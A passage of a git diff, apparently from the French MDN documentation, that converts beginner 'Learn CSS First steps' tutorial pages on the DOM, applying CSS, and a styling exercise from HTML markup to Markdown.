<span>Sheets</span> -</p> -</pre> + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p> +``` -<p>Dans le DOM, le nœud correspondant à l'élément <code><p></code> est un parent. Ses enfants sont le nœud texte et trois nœuds associés aux éléments <code><span></code>. Les nœuds <code>SPAN</code> sont eux-mêmes parents, avec pour enfant le nœud associé à leur texte :</p> +Dans le DOM, le nœud correspondant à l'élément `<p>` est un parent. Ses enfants sont le nœud texte et trois nœuds associés aux éléments `<span>`. Les nœuds `SPAN` sont eux-mêmes parents, avec pour enfant le nœud associé à leur texte : -<pre>P -├─ "Let's use:" -├─ SPAN -| └─ "Cascading" -├─ SPAN -| └─ "Style" -└─ SPAN - └─ "Sheets" -</pre> + P + ├─ "Let's use:" + ├─ SPAN + | └─ "Cascading" + ├─ SPAN + | └─ "Style" + └─ SPAN + └─ "Sheets" -<p>C'est ainsi que le navigateur interprète notre fragment HTML—il transforme ce DOM en arbre de rendu puis affiche le résultat comme suit :</p> +C'est ainsi que le navigateur interprète notre fragment HTML—il transforme ce DOM en arbre de rendu puis affiche le résultat comme suit : -<p>{{EmbedLiveSample('Une_représentation_concrète_du_DOM', '100%', 55)}}</p> +{{EmbedLiveSample('Une_représentation_concrète_du_DOM', '100%', 55)}} -<pre class="brush: css hidden">p {margin:0;}</pre> +```css hidden +p {margin:0;} +``` -<h2 id="Appliquer_CSS_au_DOM">Appliquer CSS au DOM</h2> +## Appliquer CSS au DOM -<p>Supposons maintenant que nous avons ajouté du CSS à notre document pour le mettre en forme. Le HTML n'a pas changé :</p> +Supposons maintenant que nous avons ajouté du CSS à notre document pour le mettre en forme. Le HTML n'a pas changé : -<pre class="brush: html"><p> +```html +<p> Let's use: - <span>Cascading</span> - <span>Style</span> - <span>Sheets</span> -</p></pre> + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p> +``` -<p>On lui applique le CSS suivant :</p> +On lui applique le CSS suivant : -<pre class="brush: css">span { +```css +span { border: 1px solid black; background-color: lime; -}</pre> +} +``` -<p>Le navigateur parse le HTML, calcule son DOM, puis parse le CSS. Notre CSS a une unique règle avec un unique sélecteur <code>span</code>, ça va être rapide à trier ! La règle est attachée à chaque nœud SPAN du DOM pour obtenir l'arbre de rendu. Reste à calculer les rendus puis à <em>peindre</em> la représentation visuelle finale à l'écran.</p> +Le navigateur parse le HTML, calcule son DOM, puis parse le CSS. Notre CSS a une unique règle avec un unique sélecteur `span`, ça va être rapide à trier ! La règle est attachée à chaque nœud SPAN du DOM pour obtenir l'arbre de rendu. Reste à calculer les rendus puis à *peindre* la représentation visuelle finale à l'écran. -<p>Voilà le résultat après mise à jour :</p> +Voilà le résultat après mise à jour : -<p>{{EmbedLiveSample('Appliquer_CSS_au_DOM', '100%', 55)}}</p> +{{EmbedLiveSample('Appliquer_CSS_au_DOM', '100%', 55)}} -<p>Dans le prochain module, dans l'article <a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a>, nous utiliserons les DevTools du navigateur pour débuguer des erreurs CSS. Ce sera aussi l'occasion de mieux comprendre comment le navigateur interprète CSS.</p> +Dans le prochain module, dans l'article [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS), nous utiliserons les DevTools du navigateur pour débuguer des erreurs CSS. Ce sera aussi l'occasion de mieux comprendre comment le navigateur interprète CSS. -<h2 id="Que_se_passe-t-il_quand_un_navigateur_rencontre_du_CSS_quil_ne_comprend_pas">Que se passe-t-il quand un navigateur rencontre du CSS qu'il ne comprend pas ?</h2> +## Que se passe-t-il quand un navigateur rencontre du CSS qu'il ne comprend pas ? -<p>Les navigateurs n'implémentent pas tous en même temps une fonctionnalité CSS nouvelle, j'avais mentionné ce fait <a href="/fr/docs/Learn/CSS/First_steps/What_is_CSS#prise_en_charge_par_les_navigateurs">dans une leçon précédente</a>. Rajoutez à cela le fait que trop de gens n'utilisent pas une version à jour de leur navigateur. CSS, lui, est en développement constant et donc toujours en avance par rapport à ce que les navigateurs peuvent implémenter. On doit donc se demander ce qui se passe quand un navigateur tombe sur un sélecteur ou une déclaration qu'il ne sait pas interpréter.</p> +Les navigateurs n'implémentent pas tous en même temps une fonctionnalité CSS nouvelle, j'avais mentionné ce fait [dans une leçon précédente](/fr/docs/Learn/CSS/First_steps/What_is_CSS#prise_en_charge_par_les_navigateurs). Rajoutez à cela le fait que trop de gens n'utilisent pas une version à jour de leur navigateur. CSS, lui, est en développement constant et donc toujours en avance par rapport à ce que les navigateurs peuvent implémenter. On doit donc se demander ce qui se passe quand un navigateur tombe sur un sélecteur ou une déclaration qu'il ne sait pas interpréter. -<p>La réponse : ne rien faire et passer à la suite !</p> +La réponse : ne rien faire et passer à la suite ! -<p>Quand un navigateur parse vos règles et rencontre une propriété ou une valeur qu'il ne comprend pas, il l'ignore et passe à la déclaration suivante. Cela se produit si vous avez mal orthographié le nom de la propriété ou de la valeur, ou s'ils sont trop nouveaux et pas encore pris en charge par le navigateur.</p> +Quand un navigateur parse vos règles et rencontre une propriété ou une valeur qu'il ne comprend pas, il l'ignore et passe à la déclaration suivante. Cela se produit si vous avez mal orthographié le nom de la propriété ou de la valeur, ou s'ils sont trop nouveaux et pas encore pris en charge par le navigateur. -<p>De même quand le navigateur rencontre un sélecteur qu'il ne sait pas interpréter, il ignore la règle correspondante et passe à la suivante.</p> +De même quand le navigateur rencontre un sélecteur qu'il ne sait pas interpréter, il ignore la règle correspondante et passe à la suivante. -<p>Dans l'exemple ci-dessous, j'ai utilisé l'orthographe anglaise <code>colour</code> pour le mot <em>couleur.</em> Cela contredit la convention CSS et rend ce code incompréhensible pour le navigateur. En conséquence, le paragraphe n'a pas été colorié en bleu. Par contre, tout le reste du CSS est appliqué, seule la ligne invalide est ignorée.</p> +Dans l'exemple ci-dessous, j'ai utilisé l'orthographe anglaise `colour` pour le mot *couleur.* Cela contredit la convention CSS et rend ce code incompréhensible pour le navigateur. En conséquence, le paragraphe n'a pas été colorié en bleu. Par contre, tout le reste du CSS est appliqué, seule la ligne invalide est ignorée. -<pre class="brush: html"><p> Je veux que ce texte soit grand, gras et bleu.</p></pre> +```html +<p> Je veux que ce texte soit grand, gras et bleu.</p> +``` -<pre class="brush: css">p { +```css +p { font-weight: bold; colour: blue; /* incorrect spelling of the color property */ font-size: 200%; -}</pre> +} +``` -<p>{{EmbedLiveSample('Que_se_passe-t-il_quand_un_navigateur_rencontre_du_CSS_quil_ne_comprend_pas', '100%', 200)}}</p> +{{EmbedLiveSample('Que_se_passe-t-il_quand_un_navigateur_rencontre_du_CSS_quil_ne_comprend_pas', '100%', 200)}} -<p>Le comportement décrit ci-dessus est très utile : vous pouvez utiliser du CSS récent pour perfectionner la mise en forme de vos pages, sachant qu'aucune erreur ne se produira quand votre code n'est pas compris — le navigateur interprète la règle... ou ne fait rien. Rappelez vous maintenant la <em>cascade</em> : entre deux règles de même spécificité, le navigateur choisira la dernière rencontrée. La cascade permet d'offrir une alternative pour les navigateurs qui ne prennent pas en charge le CSS le plus récent.</p> +Le comportement décrit ci-dessus est très utile : vous pouvez utiliser du CSS récent pour perfectionner la mise en forme de vos pages, sachant qu'aucune erreur ne se produira quand votre code n'est pas compris — le navigateur interprète la règle... ou ne fait rien. Rappelez vous maintenant la _cascade_ : entre deux règles de même spécificité, le navigateur choisira la dernière rencontrée. La cascade permet d'offrir une alternative pour les navigateurs qui ne prennent pas en charge le CSS le plus récent. -<p>Cela fonctionne particulièrement bien quand on désire utiliser une valeur CSS introduite récemment, pas encore prise en charge partout. Par exemple, quelques vieux navigateurs ne savent pas interpréter <code>calc()</code> pour les valeurs. Je peux donc donner une valeur en pixels pour la largeur de ma boîte, puis proposer une déclaration où la valeur de <code>width</code> est calculée par <code>calc(</code><code>)</code>. Un vieux navigateur interprète la première déclaration, il ne comprend pas la seconde, il l'ignore — il utilisera donc la version pixels. Les navigateurs récents interprètent la déclaration en pixels, puis celle avec <code>calc()</code> qui, par cascade, écrase la déclaration précédente.</p> +Cela fonctionne particulièrement bien quand on désire utiliser une valeur CSS introduite récemment, pas encore prise en charge partout. Par exemple, quelques vieux navigateurs ne savent pas interpréter `calc()` pour les valeurs. Je peux donc donner une valeur en pixels pour la largeur de ma boîte, puis proposer une déclaration où la valeur de `width` est calculée par ` calc(``) `. Un vieux navigateur interprète la première déclaration, il ne comprend pas la seconde, il l'ignore — il utilisera donc la version pixels. Les navigateurs récents interprètent la déclaration en pixels, puis celle avec `calc()` qui, par cascade, écrase la déclaration précédente. -<p>Dans les leçons à venir, nous rencontrerons d'autres méthodes pour adapter le code aux différents navigateurs.</p> +Dans les leçons à venir, nous rencontrerons d'autres méthodes pour adapter le code aux différents navigateurs. -<h2 id="Et_enfin">Et enfin</h2> +## Et enfin -<p>Ce cours est presque achevé ; il nous reste un seul point à voir. Dans la prochaine leçon, vous allez <a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">mettre en œuvre vos nouvelles connaissances</a> : vous allez remettre en forme un exemple, une occasion d'appliquer tout ce que vous avez appris de CSS.</p> +Ce cours est presque achevé ; il nous reste un seul point à voir. Dans la prochaine leçon, vous allez [mettre en œuvre vos nouvelles connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) : vous allez remettre en forme un exemple, une occasion d'appliquer tout ce que vous avez appris de CSS. -<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> +{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}} -<h2 id="Dans_ce_cour">Dans ce cour</h2> +## Dans ce cour -<ol> - <li><a href="/fr/docs/Learn/CSS/First_steps/What_is_CSS">CSS, c'est quoi ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">Comment CSS est structuré</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">CSS ça marche comment ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Mettre en œuvre vos nouvelles connaissances</a></li> -</ol> +1. [CSS, c'est quoi ?](/fr/docs/Learn/CSS/First_steps/What_is_CSS) +2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +4. [CSS ça marche comment ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) +5. [Mettre en œuvre vos nouvelles connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/index.md b/files/fr/learn/css/first_steps/index.md index 2b0e0238ec..3861ea29db 100644 --- a/files/fr/learn/css/first_steps/index.md +++ b/files/fr/learn/css/first_steps/index.md @@ -9,48 +9,40 @@ tags: - premiers pas translation_of: Learn/CSS/First_steps --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>CSS (Cascading Style Sheets ou en français "Feuilles de style en cascade") est utilisé pour styliser et mettre en page des pages Web - par exemple, pour modifier la police, la couleur, la taille et l'espacement de votre contenu, le scinder en plusieurs colonnes ou ajouter des animations et autres éléments décoratifs. Ce module vous permet de commencer en douceur votre chemin vers la maîtrise de CSS avec les bases de son fonctionnement, de sa syntaxe et de la façon dont vous pouvez commencer à l'utiliser pour ajouter du style au HTML.</p> +CSS (Cascading Style Sheets ou en français "Feuilles de style en cascade") est utilisé pour styliser et mettre en page des pages Web - par exemple, pour modifier la police, la couleur, la taille et l'espacement de votre contenu, le scinder en plusieurs colonnes ou ajouter des animations et autres éléments décoratifs. Ce module vous permet de commencer en douceur votre chemin vers la maîtrise de CSS avec les bases de son fonctionnement, de sa syntaxe et de la façon dont vous pouvez commencer à l'utiliser pour ajouter du style au HTML. -<h3 id="Vous_voulez_devenir_un_développeur_web_front-end">Vous voulez devenir un développeur web front-end ?</h3> +### Vous voulez devenir un développeur web front-end ? -<p>Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.</p> +Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Avant de commencer ce module, vous devriez avoir :</p> +Avant de commencer ce module, vous devriez avoir : -<ol> - <li>Une connaissance basique de l'utilisation d'un ordinateur, et l'utilisation passive du Web (i.e. consulter des sites, consommer le contenu s'y trouvant) ;</li> - <li>Un environnement de travail minimal installé, comme indiqué dans la section <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installer les logiciels de base</a> et une compréhension de la façon de créer et gérer des fichiers, comme indiqué dans la section <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a> ;</li> - <li>Une familiarité avec HTML, comme discuté dans le module d'<a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">introduction à HTML</a>.</li> -</ol> +1. Une connaissance basique de l'utilisation d'un ordinateur, et l'utilisation passive du Web (i.e. consulter des sites, consommer le contenu s'y trouvant) ; +2. Un environnement de travail minimal installé, comme indiqué dans la section [installer les logiciels de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et une compréhension de la façon de créer et gérer des fichiers, comme indiqué dans la section [Gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) ; +3. Une familiarité avec HTML, comme discuté dans le module d'[introduction à HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur / tablette / autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code sur des sites de programmation en ligne comme <a href="/fr/docs/">JSBin</a> ou <a href="/fr/docs/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur / tablette / autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code sur des sites de programmation en ligne comme [JSBin](/fr/docs/) ou [Thimble](/fr/docs/). -<h2 id="Guides">Guides</h2> +## Guides -<p>Ce module contient les articles suivants, qui vous présenteront les bases théoriques du CSS et vous fourniront des occasions de mettre en pratique vos nouvelles compétences :</p> +Ce module contient les articles suivants, qui vous présenteront les bases théoriques du CSS et vous fourniront des occasions de mettre en pratique vos nouvelles compétences : -<dl> - <dt><a href="/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS">Qu'est-ce que le CSS?</a></dt> - <dd><p><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets) permet de créer de superbes pages web, mais comment fonctionne-t-il sous le capot ? Cet article explique ce qu'est le CSS à l'aide d'un exemple de syntaxe simple et couvre également quelques-uns des termes clés du langage.</p></dd> - <dt><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a></dt> - <dd>Dans cet article, nous partirons d'un document HTML simple et y appliquerons des CSS, tout en apprenant des choses pratiques sur le langage.</dd> - <dt><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">Comment est structuré le CSS </a></dt> - <dd>Maintenant que vous avez une idée sur ce qu'est le CSS et les bases de son utilisation, il est temps de regarder plus précisement la structure du langage lui-même. Nous avons déjà rencontré de nombreux concepts discutés ici ; vous pouvez vous référer à cette section pour référence si vous rencontrez des difficultés de compréhension des concepts plus avancés.</dd> - <dt><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment CSS Fonctionne</a></dt> - <dd>Nous avons appris les bases de CSS, ce qu'il est et comment écrire des feuilles de style simple. Dans cette leçon, nous étudierons comment un navigateur transforme CSS et HTML en une page web.</dd> - <dt><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Utilisez vos nouvelles compétences</a></dt> - <dd>Avec toutes les choses que vous avez apprises dans les dernières leçons, vous devriez être capable de formater des documents textuels simples en utilisant CSS et y ajouter votre propre style. Cet article vous permet d'expérimenter.</dd> -</dl> +- [Qu'est-ce que le CSS?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) + - : **{{Glossary("CSS")}}** (Cascading Style Sheets) permet de créer de superbes pages web, mais comment fonctionne-t-il sous le capot ? Cet article explique ce qu'est le CSS à l'aide d'un exemple de syntaxe simple et couvre également quelques-uns des termes clés du langage. +- [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) + - : Dans cet article, nous partirons d'un document HTML simple et y appliquerons des CSS, tout en apprenant des choses pratiques sur le langage. +- [Comment est structuré le CSS](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) + - : Maintenant que vous avez une idée sur ce qu'est le CSS et les bases de son utilisation, il est temps de regarder plus précisement la structure du langage lui-même. Nous avons déjà rencontré de nombreux concepts discutés ici ; vous pouvez vous référer à cette section pour référence si vous rencontrez des difficultés de compréhension des concepts plus avancés. +- [Comment CSS Fonctionne](/fr/docs/Learn/CSS/First_steps/How_CSS_works) + - : Nous avons appris les bases de CSS, ce qu'il est et comment écrire des feuilles de style simple. Dans cette leçon, nous étudierons comment un navigateur transforme CSS et HTML en une page web. +- [Utilisez vos nouvelles compétences](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) + - : Avec toutes les choses que vous avez apprises dans les dernières leçons, vous devriez être capable de formater des documents textuels simples en utilisant CSS et y ajouter votre propre style. Cet article vous permet d'expérimenter. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<dl> - <dt>Literacy<a href="/fr/docs/"> Web intermédiaire 1 : Introduction au CSS</a></dt> - <dd>Un excellent cours de base de la fondation Mozilla qui explore et teste de nombreuses compétences évoquées dans le module <em>Introduction à CSS</em>. Approfondissements à propos de l'application de styles sur les éléments HTML d'une page Web, les sélecteurs CSS, les attributs et valeurs.P</dd> -</dl> +- Literacy[ Web intermédiaire 1 : Introduction au CSS](/fr/docs/) + - : Un excellent cours de base de la fondation Mozilla qui explore et teste de nombreuses compétences évoquées dans le module _Introduction à CSS_. Approfondissements à propos de l'application de styles sur les éléments HTML d'une page Web, les sélecteurs CSS, les attributs et valeurs.P diff --git a/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md b/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md index 87b94d05bf..fcb42335eb 100644 --- a/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md +++ b/files/fr/learn/css/first_steps/using_your_new_knowledge/index.md @@ -8,99 +8,92 @@ tags: - Playground translation_of: Learn/CSS/First_steps/Using_your_new_knowledge --- -<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> +{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}} -<p>Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons précécentes : vous savez comment mettre en forme des documents texte simples à l'aide de CSS. </p> +Le temps est venu d'évaluer tout ce que vous avez appris dans les leçons précécentes : vous savez comment mettre en forme des documents texte simples à l'aide de CSS. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de vous soumettre à cette évaluation, vous avez suivi le module sur les bases de CSS ; vous maîtrisez par ailleurs les bases de HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester vos connaissances en mettant à l'œuvre CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de vous soumettre à cette évaluation, vous avez suivi le module + sur les bases de CSS ; vous maîtrisez par ailleurs les bases de HTML + (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Tester vos connaissances en mettant à l'œuvre CSS.</td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ -<p>Vous pouvez travailler dans l'éditeur ci-dessous ou <a href="https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/">télécharger le point de départ</a> pour travailler en local sur votre machine, avec votre propre éditeur de code. Ce point de départ est une page HTML avec le CSS interne écrit dans la section <code><head></code>. Sur votre machine, n'hésitez pas à travailler avec une feuille de style externe. Vous pouvez aussi utiliser des éditeurs en ligne comme <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, ou <a href="https://glitch.com/" rel="noopener">Glitch</a> pour travailler sur les tâches proposées.</p> +Vous pouvez travailler dans l'éditeur ci-dessous ou [télécharger le point de départ](https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/) pour travailler en local sur votre machine, avec votre propre éditeur de code. Ce point de départ est une page HTML avec le CSS interne écrit dans la section `<head>`. Sur votre machine, n'hésitez pas à travailler avec une feuille de style externe. Vous pouvez aussi utiliser des éditeurs en ligne comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/) pour travailler sur les tâches proposées. -<div class="note"> -<p><strong>Note :</strong> ne restez pas coincé, appelez à l'aide — voir la section <a href="#evaluation">Evaluation et comment obtenir de l'aide</a> au bas de cette page.</p> -</div> +> **Note :** ne restez pas coincé, appelez à l'aide — voir la section [Evaluation et comment obtenir de l'aide](#evaluation) au bas de cette page. -<h2 id="Travailler_avec_CSS">Travailler avec CSS</h2> +## Travailler avec CSS -<p>L'exemple ci-dessous propose de retravailler la mise en forme d'une biographie stylée avec CSS. Les propriétés utilisées sont les suivantes — chacune renvoie vers sa page MDN pour plus d'exemples d'usages :</p> +L'exemple ci-dessous propose de retravailler la mise en forme d'une biographie stylée avec CSS. Les propriétés utilisées sont les suivantes — chacune renvoie vers sa page MDN pour plus d'exemples d'usages : -<ul> - <li>{{cssxref("font-family")}}</li> - <li>{{cssxref("color")}}</li> - <li>{{cssxref("border-bottom")}}</li> - <li>{{cssxref("font-weight")}}</li> - <li>{{cssxref("font-size")}}</li> - <li>{{cssxref("text-decoration")}}</li> -</ul> +- {{cssxref("font-family")}} +- {{cssxref("color")}} +- {{cssxref("border-bottom")}} +- {{cssxref("font-weight")}} +- {{cssxref("font-size")}} +- {{cssxref("text-decoration")}} -<p>J'ai utilisé un mélange de sélecteurs, d'éléments HTML comme <code>h1</code> et <code>h2</code> ; j'ai aussi créé une classe <code>job-title</code>.</p> +J'ai utilisé un mélange de sélecteurs, d'éléments HTML comme `h1` et `h2` ; j'ai aussi créé une classe `job-title`. -<p>Utilisez CSS pour changer l'apparence de cette biographie en modifiant les valeurs des propriétés CSS utilisées :</p> +Utilisez CSS pour changer l'apparence de cette biographie en modifiant les valeurs des propriétés CSS utilisées : -<ol> - <li>Affichez le titre de niveau 1 en <code>hotpink</code> ;</li> - <li> Donnez au titre un {{cssxref("border-bottom")}} de <code>10px dotted</code> de couleur <code>purple</code> ;</li> - <li>Affichez le titre de niveau 2 en italique ;</li> - <li>Colorez la <code>ul</code> des détails de contacts en {{cssxref("background-color")}} <code>#eeeeee</code>, avec un {{cssxref("border")}} de <code>5px solid purple</code>. Utilisez la propriété {{cssxref("padding")}} pour éloigner le contenu du bord.</li> - <li>Faites que les liens apparaissent en <code>green</code> lors d'un survol du curseur.</li> -</ol> +1. Affichez le titre de niveau 1 en `hotpink` ; +2. Donnez au titre un {{cssxref("border-bottom")}} de `10px dotted` de couleur `purple` ; +3. Affichez le titre de niveau 2 en italique ; +4. Colorez la `ul` des détails de contacts en {{cssxref("background-color")}} `#eeeeee`, avec un {{cssxref("border")}} de `5px solid purple`. Utilisez la propriété {{cssxref("padding")}} pour éloigner le contenu du bord. +5. Faites que les liens apparaissent en `green` lors d'un survol du curseur. -<p>Vous devriez obtenir un rendu qui ressemble à cela :</p> +Vous devriez obtenir un rendu qui ressemble à cela : -<p><img alt="Screenshot of how the example should look after completing the assessment." src="learn-css-basics-assessment.png"></p> + -<p>Une fois cette tâche accomplie, n'hésitez pas à explorer des propriétés rencontrées dans la <a href="/fr/docs/Web/CSS/Reference">référence CSS sur MDN</a> !</p> +Une fois cette tâche accomplie, n'hésitez pas à explorer des propriétés rencontrées dans la [référence CSS sur MDN](/fr/docs/Web/CSS/Reference) ! -<p>À ce stade, il n'y a pas de réponse incorrecte — autorisez vous un peu de fantaisie.</p> +À ce stade, il n'y a pas de réponse incorrecte — autorisez vous un peu de fantaisie. -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p> +{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} -<h2 id="Evaluation_ou_compléments_dinformation">Evaluation ou compléments d'information</h2> +## Evaluation ou compléments d'information -<p>Si vous voulez une évaluation de votre travail, ou si vous êtes coincé et recherchez de l'aide :</p> +Si vous voulez une évaluation de votre travail, ou si vous êtes coincé et recherchez de l'aide : -<ol> - <li>Publiez votre code dans un éditeur en ligne tel <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, or <a href="https://glitch.com/" rel="noopener">Glitch</a>.</li> - <li>Si vous êtes à l'aise en anglais : - <ol> - <li>Dans le <a href="https://discourse.mozilla.org/c/mdn" rel="noopener">forum MDN Discourse</a>, écrivez un billet pour évaluation et/ou demande d'aide. Ajouter le tag "learning" à votre post pour que nous puissions le trouver plus facilement. Votre post devrait contenir : - <ul> - <li>Un titre parlant comme "Assessment wanted for CSS First Steps".</li> - <li>Des détails sur ce que vous voudriez que l'on fasse — par exemple, ce que vous avez déjà essayé si vous êtes coincé et demandez de l'aide.</li> - <li>Un lien vers l'exemple dans l'éditeur en ligne, sur lequel vous demandez une évaluation ou de l'aide : voilà une bonne pratique — il n'est pas commode d'aider quelqu'un coincé sur son code quand on ne peut pas voir ce code...</li> - <li>Un lien vers cette page d'évaluation afin que nous puissions voir la question sur laquelle vous demandez de l'aide.</li> - </ul> - </li> - </ol> - </li> - <li>Sinon, n'hésitez pas à contacter @MDNfr sur Twitter.</li> -</ol> +1. Publiez votre code dans un éditeur en ligne tel [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), or [Glitch](https://glitch.com/). +2. Si vous êtes à l'aise en anglais : -<h2 id="La_suite">La suite ?</h2> + 1. Dans le [forum MDN Discourse](https://discourse.mozilla.org/c/mdn), écrivez un billet pour évaluation et/ou demande d'aide. Ajouter le tag "learning" à votre post pour que nous puissions le trouver plus facilement. Votre post devrait contenir : -<p>Bravo, vous avez suivi ce cours jusqu'au bout. Avec votre connaissance de CSS, vous comprenez maintenant le fonctionnement d'une feuille de style. Dans le prochain cours, <a href="/fr/docs/Apprendre/CSS/Building_blocks">construire des blocs CSS</a>, nous approfondirons de nombreux points.</p> + - Un titre parlant comme "Assessment wanted for CSS First Steps". + - Des détails sur ce que vous voudriez que l'on fasse — par exemple, ce que vous avez déjà essayé si vous êtes coincé et demandez de l'aide. + - Un lien vers l'exemple dans l'éditeur en ligne, sur lequel vous demandez une évaluation ou de l'aide : voilà une bonne pratique — il n'est pas commode d'aider quelqu'un coincé sur son code quand on ne peut pas voir ce code... + - Un lien vers cette page d'évaluation afin que nous puissions voir la question sur laquelle vous demandez de l'aide. -<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Apprendre/CSS/Premiers_pas")}}</p> +3. Sinon, n'hésitez pas à contacter @MDNfr sur Twitter. -<h2 id="Dans_ce_cours">Dans ce cours</h2> +## La suite ? -<ol> - <li><a href="/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS">Qu'est-ce que CSS ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Commencer avec CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">Comment CSS est structuré</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">CSS, comment ça marche ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Mettez en œuvre vos connaissances</a></li> -</ol> +Bravo, vous avez suivi ce cours jusqu'au bout. Avec votre connaissance de CSS, vous comprenez maintenant le fonctionnement d'une feuille de style. Dans le prochain cours, [construire des blocs CSS](/fr/docs/Apprendre/CSS/Building_blocks), nous approfondirons de nombreux points. + +{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Apprendre/CSS/Premiers_pas")}} + +## Dans ce cours + +1. [Qu'est-ce que CSS ?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) +2. [Commencer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +4. [CSS, comment ça marche ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) +5. [Mettez en œuvre vos connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/what_is_css/index.md b/files/fr/learn/css/first_steps/what_is_css/index.md index bfdeb9fa33..132132d24b 100644 --- a/files/fr/learn/css/first_steps/what_is_css/index.md +++ b/files/fr/learn/css/first_steps/what_is_css/index.md @@ -11,123 +11,131 @@ tags: translation_of: Learn/CSS/First_steps/What_is_CSS original_slug: Learn/CSS/First_steps/Qu_est_ce_que_CSS --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}} -<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", 